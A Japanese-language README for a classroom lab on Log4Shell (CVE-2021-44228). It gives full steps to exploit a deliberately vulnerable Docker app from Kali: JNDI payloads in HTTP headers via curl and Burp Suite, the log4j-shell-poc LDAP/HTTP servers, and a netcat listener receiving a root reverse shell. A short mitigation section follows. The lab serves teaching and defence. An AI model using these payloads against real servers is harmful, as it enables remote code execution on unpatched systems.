
Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.
Log4Shell(CVE-2021-44228)は、これまでに公開された中で最も影響力のあるリモートコード実行の脆弱性の1つです。この脆弱性は、広く使用されているJavaロギングフレームワークであるApache Log4j 2に影響し、攻撃者がログメッセージ内のJNDIルックアップを悪用して任意のコードを実行することを可能にします。
このガイドでは、以下を使用した完全で再現可能なデモンストレーションラボを提供します。
log4j-shell-pocこれは、管理された環境での教育、研究、トレーニング、防御意識向上のために設計されています。 構造とスタイルは、関連する「Shellshock」ラボのREADMEと同じ精神に従っています。
poc.pyのJDK 1.8.0_202使用設定このラボは、明示的な許可を得た管理環境(自身のラボ、教室のVMなど)でのみ実施する必要があります。
Log4Shell(CVE-2021-44228)は、Apache Log4j 2における重大なRCE脆弱性です。
問題は、脆弱なLog4j2バージョンが攻撃者制御の文字列(次のようなもの)を解釈することに起因します。
${jndi:ldap://ATTACKER_IP:1389/a}
この文字列がログに記録されると、Log4jは以下の処理を行います。
このラボでは、以下のことを行います。
log4j-shell-pocを使用してKali上で悪意のあるLDAP + HTTPサーバーを実行します。curlおよびBurp Suite経由でLog4Shellペイロードを配信します。このラボの終了時点で、以下のことができるようになるはずです。
すべてのコンポーネントは、既存の仮想ラボ上で実行されます。この文書では、以下の想定とします。
キーアイデア
攻撃者は以下の文字列を注入します。
${jndi:ldap://192.168.1.4:1389/a}
をHTTPヘッダーに。脆弱なアプリはそれをLog4j2でログに記録 → 192.168.1.4:1389 に対してJNDI LDAPルックアップを実行 → http://192.168.1.4:8000 から悪意のあるクラスをダウンロード → そのクラスを実行し、192.168.1.4:9001 へのリバースシェルを開きます。
Kali には以下が必要です。
nc)このガイド全体で、KaliのIPは次のとおりとします。
192.168.1.4
IPが異なる場合は、すべてのコマンドを適宜調整してください。
PoCは、**Java SE 8 Update 202(JDK 1.8.0_202)**に依存しています。これは、それ以降のJavaバージョンではこのエクスプロイトで使用されるリモートクラスローディング動作が制限されるためです。
KaliにすでにOpenJDK 21(または類似のもの)がインストールされていても、8u202を別途インストールする必要があります。
mkdir -p ~/Log4Shell
cd ~/Log4Shell
ミラールート:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Linux x64 tarball(約185 MB)をダウンロード:
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # 約185Mのはず
/usr/bin/jdk1.8.0_202 に展開sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
--strip-components=1 オプションは、アーカイブのトップレベルディレクトリを削除し、ファイルが /usr/bin/jdk1.8.0_202 の直下に配置されるようにします。
/usr/bin/jdk1.8.0_202/bin/java -version
期待される出力:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
これが表示されれば、JDK 1.8.0_202 は正しくインストールされています。
Kaliの新しいターミナルで(~/Log4Shell にい続けて構いません):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
次のようなログが表示されるはずです。
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ でアクセス可能になります。簡単な動作確認:
curl http://127.0.0.1:8080/
Whitelabel Error Page(HTTP 400)が表示されるかもしれません。問題ありません。必要なのはアプリが実行され、リクエストをログに記録することだけです。
log4j-shell-poc のクローン新しいターミナルで:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
ファイルを確認:
ls
# poc.py, target/, README, etc. Exploit.java は後で生成されます。
poc.py のJDK 1.8.0_202使用設定デフォルトでは、poc.py はリポジトリ内の jdk1.8.0_20 というディレクトリにローカルJDKがあることを期待します。代わりにJDK 8u202を /usr/bin/jdk1.8.0_202 にインストールしたため、スクリプトを更新する必要があります。
poc.py をエディタで開くnano poc.py
jdk1.8.0_20 を検索します(nanoの場合: Ctrl+W、jdk1.8.0_20 と入力し、Enter)。
次のような3か所が見つかるはずです。
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
次のように置き換えます。
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
保存して終了:
Ctrl + O → EnterCtrl + XこれでPoCは /usr/bin の JDK 1.8.0_202 を使用するようになります。
~/Log4Shell/log4j-shell-poc から:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
パラメータ:
--userip – Kali IP(攻撃者): 例 192.168.1.4。--webport – 組み込みHTTPサーバーのポート: 8000。--lport – ペイロードが接続してくるポート: 9001。すべてが正しく設定されていれば、次のような表示がされるはずです。
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
重要:
LDAPサーバー はポート 1389 で待機しています。
HTTPサーバー はポート 8000 で待機しています。
注入する正確なペイロードが表示されます:
${jndi:ldap://192.168.1.4:1389/a}
このターミナルは実行したままにしておきます。
Kaliでさらに別の新しいターミナルを開きます:
nc -nvlp 9001
次のように表示されるはずです。
listening on [any] 9001 ...
このリスナーが脆弱なアプリケーションからのリバースシェルを受け取ります。
この時点で、以下のものが起動しているはずです。
poc.py がLDAP(1389)とHTTP(8000)を実行中。まず、生のHTTPリクエストを使用してエクスプロイトが動作することを確認します。
新しいターミナル(または使用可能なターミナルを再利用)で:
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
何が起こるか:
X-Api-Version ヘッダーをログに記録します。${jndi:ldap://192.168.1.4:1389/a} を認識し、JNDI LDAPルックアップを実行します。poc.py内)が、HTTPサーバー上でホストされている悪意のあるJavaクラスへの参照で応答します。192.168.1.4:9001 に接続し、シェルを生成します。成功すると、Netcatターミナルに次のように表示されます。
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
これでDockerコンテナ内のrootシェルを取得できました。
試してみてください:
id
hostname
ls /
終了するには:
exit
Netcatは待機状態に戻ります。
次に、Burp Suite を介したブラウザを使用して同じエクスプロイト経路を実演します。
Kaliで Burp Suite を起動します。
Burpで、プロキシリスナーが 127.0.0.1:8080 で動作していることを確認します。
Firefoxで:
127.0.0.1、ポート: 8080。127.0.0.1 の除外リストがないことを確認します。Burp → Proxy → Intercept で、InterceptがON であることを確認します。
Firefoxで、次のURLにアクセスします。
http://127.0.0.1:8080/
Burpにインターセプトされたリクエストが表示されます。例:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
Repeaterで、リクエストを変更して X-Api-Version ヘッダーを含めます:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
注意:
192.168.1.4 を実際のKali IP(異なる場合)に置き換えてください。${} の文字をURLエンコードしないでください – そのままの形で表示される必要があります。Connection: close は処理を簡素化します(オプション)。poc.py とNetcatリスナーがまだ実行中であることを確認します。再度 400 Whitelabel Error Page が表示されるかもしれません。問題ありません。
Netcatターミナルを確認します。
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
今回もrootシェルをコンテナ上で取得できました。今回は Burpで変更したHTTPリクエスト を使用し、現実的なWebエクスプロイトワークフローを再現しています。
攻撃者がJNDIペイロードを作成:
${jndi:ldap://192.168.1.4:1389/a}
脆弱なアプリケーションがこの文字列をLog4j2でログに記録します。
Log4j2は ${jndi:...} を解釈し、JNDIルックアップを実行します。
ルックアップはLDAPを使用して攻撃者のLDAPサーバー (192.168.1.4:1389) に接続します。
LDAPサーバー(marshalsec)は、HTTP経由でホストされた攻撃者制御のクラスを指す javaNamingReference で応答します。例:
http://192.168.1.4:8000/Exploit.class
被害者のJVMがこのクラスをダウンロードしてロードします。
クラスのコンストラクタが 192.168.1.4:9001 へのソケットを開き、/bin/sh をバインドします。
攻撃者のNetcatリスナーが着信接続を受信し、コンテナ内でリモートrootシェルを取得します。
実際の環境では、複数の防御層を適用する必要があります。
まだ脆弱なデプロイメントの場合、次を追加します。
-Dlog4j2.formatMsgNoLookups=true
(該当する場合 – このフラグだけではすべての脆弱な設定が修正されるわけではないことに注意。)
JndiLookup を削除多層防御の手段として:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: や ${${lower:j}${upper:ndi}: などの疑わしいパターンをログで検索します。このラボで使用するコマンドの簡潔な概要です。
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py のJavaパス更新(概要)次の部分を置き換え:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # 2か所
次のように:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curl 経由でのエクスプロイトcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appLog4Shell(CVE-2021-44228)教育ラボ – 世界中の学生、防御者、倫理的ハッカーのために心を込めて作成されました。
愛情を込めて作成者:
オマーンのHaitham ❤️🇴🇲
| コンポーネント | 役割 / 説明 | ツール / サービス | アドレス例 |
|---|
| Kali Linux VM(攻撃者+ホスト) | PoCエクスプロイト、LDAPサーバー、HTTPサーバー、Netcatリスナー、Burp Suiteを実行 | Python 3、JDK 1.8.0_202、Netcat、Burp Suite、Docker、curl、Git | 192.168.1.4(Kali IP例) |
| 脆弱なLog4j2 Webアプリケーション | ターゲット。Log4Shellに対して脆弱なSpring Boot Webアプリ | Dockerイメージ: ghcr.io/christophetd/log4shell-vulnerable-app | http://127.0.0.1:8080 で公開 |
| 説明 | 画像 |
|---|
| JDKインストール / 環境設定 | ![]() |
| PoCスクリプト実行(トリガーペイロード) | ![]() |
| 脆弱なTomcat Webアプリケーション実行中 | ![]() |
| PoCエクスプロイトスクリプトの更新 | ![]() |